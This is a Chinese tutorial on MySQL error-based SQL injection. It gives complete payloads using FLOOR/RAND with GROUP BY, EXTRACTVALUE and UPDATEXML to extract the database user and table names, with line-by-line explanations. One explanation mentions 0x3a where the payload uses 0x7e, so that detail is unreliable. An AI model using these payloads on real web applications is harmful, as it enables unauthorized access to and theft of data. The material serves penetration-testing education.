报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法;攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容;这种攻击方法依赖于数据库将详细的错误消息返回给客户端。若在测试时发现网页会回显sql相关的报错信息,那么此时就可以尝试使用错误注入这种方式进行渗透。
可以利用报错注入的前提:就是页面有错误信息显示出来、保证函数能够正确执行
如以下场景:
步骤
①发现潜在的注入点:在应用程序的输入点尝试输入单引号 ('
) 或其他常见的SQL注入字符,以观察是否引发数据库错误。
②引发错误信息:通过构造恶意SQL语句,使得数据库引发错误并返回详细错误信息。
③分析错误信息:从数据库返回的错误信息中提取关于数据库结构、表名、字段名等信息。
④逐步推断并获取数据:利用错误信息逐步构造更复杂的注入语句,最终获取所需数据
1、通过floor报错,注入语句如下:
(format Key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a); [注释符]
(format Key)
为注入格式,[注释符]
若注入类型为字符型时需要加注释符。
假设原始查询是:
SELECT * FROM users WHERE id = $id;
将注入的部分拼接后,完整的SQL查询变成(整型注入为例子):
SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);
语句解释:
内嵌子句:
SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x
FLOOR()
函数返回小于或等于指定数值的最大整数。
select floor(3.3); 查询到3
select floor(2.1); 查询到2
RAND()
函数是SQL中的一个随机数生成函数,它返回一个0到1之间的随机浮点数。
select rand(0); 查询得到 0.15522042769493574
GROUP BY
子句在SQL中用于将具有相同值的行分组。
CONCAT(user(), FLOOR(RAND(0) *2))
:将当前数据库用户(由 user()
返回)和 FLOOR(RAND(0)*2)
的结果连接成字符串。 RAND(0)
生成一个介于0和1之间的随机浮点数,乘以2后, FLOOR()
函数将其向下取整,结果可能是0或1。
GROUP BY x
:按生成的字符串 x
分组。由于 RAND(0)
的结果每次调用时可能不同, FLOOR(RAND(0)*2)
的结果会在 GROUP BY
子句中引发重复值错误。
外层查询:
SELECT 1 FROM ( ... ) a;
这里的 a
是内层子查询的别名,用于引用内层子查询的结果集;a
是一个别名(alias),用于给子查询的结果集命名。这有助于在外层查询中引用子查询的结果。
后续查表名:
获取第一个表名:
(format key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 1 OFFSET 0), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);%20 [--+]
为了读取所有表名,你可以通过逐步增加 OFFSET
值来获取每个表名。例如:
获取第二个表名:
(format key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 1 OFFSET 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);%20 [--+]
以此类推,读数据与读列名也是同理。
2、通过ExtractValue报错,注入语句如下:
EXTRACTVALUE
函数在 SQL 注入攻击中经常被用于报错注入,特别是在 MySQL 数据库中。它的作用是从 XML 文档中提取值。然而,当提供无效的 XML 路径时,它会生成一个错误,攻击者可以利用这个错误来获取数据库信息。
在 MySQL 中,EXTRACTVALUE
函数的基本语法如下:
EXTRACTVALUE(xml_fragment, xpath_expression)
xml_fragment
:这是一个 XML 字符串。
xpath_expression
:这是一个 XPath 表达式,用于指定从 XML 片段中提取值的路径。
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
EXTRACTVALUE(1, ...)
:
-
EXTRACTVALUE
函数的第一个参数是无效的 XML 片段1
。 -
第二个参数是一个 XPath 表达式。这里通过
CONCAT
函数将0x3a
(十六进制的冒号字符:
)与从子查询中提取的表名连接起来。
-
CONCAT(0x3a, ...)
:将冒号与提取的表名连接起来,生成一个无效的 XPath 表达式。
后续读表名:
and (extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e)))
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()
:子查询,从当前数据库中选择所有表名并用逗号连接成一个字符串。
SUBSTRING(..., 32, 31)
:从上述连接的字符串中提取从第32个字符开始的长度为31的子字符串。
3、通过UpdateXml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
注意点:updatexml最多只能显示32位,需要配合substr
/substring
使用与extractvalue
函数相似。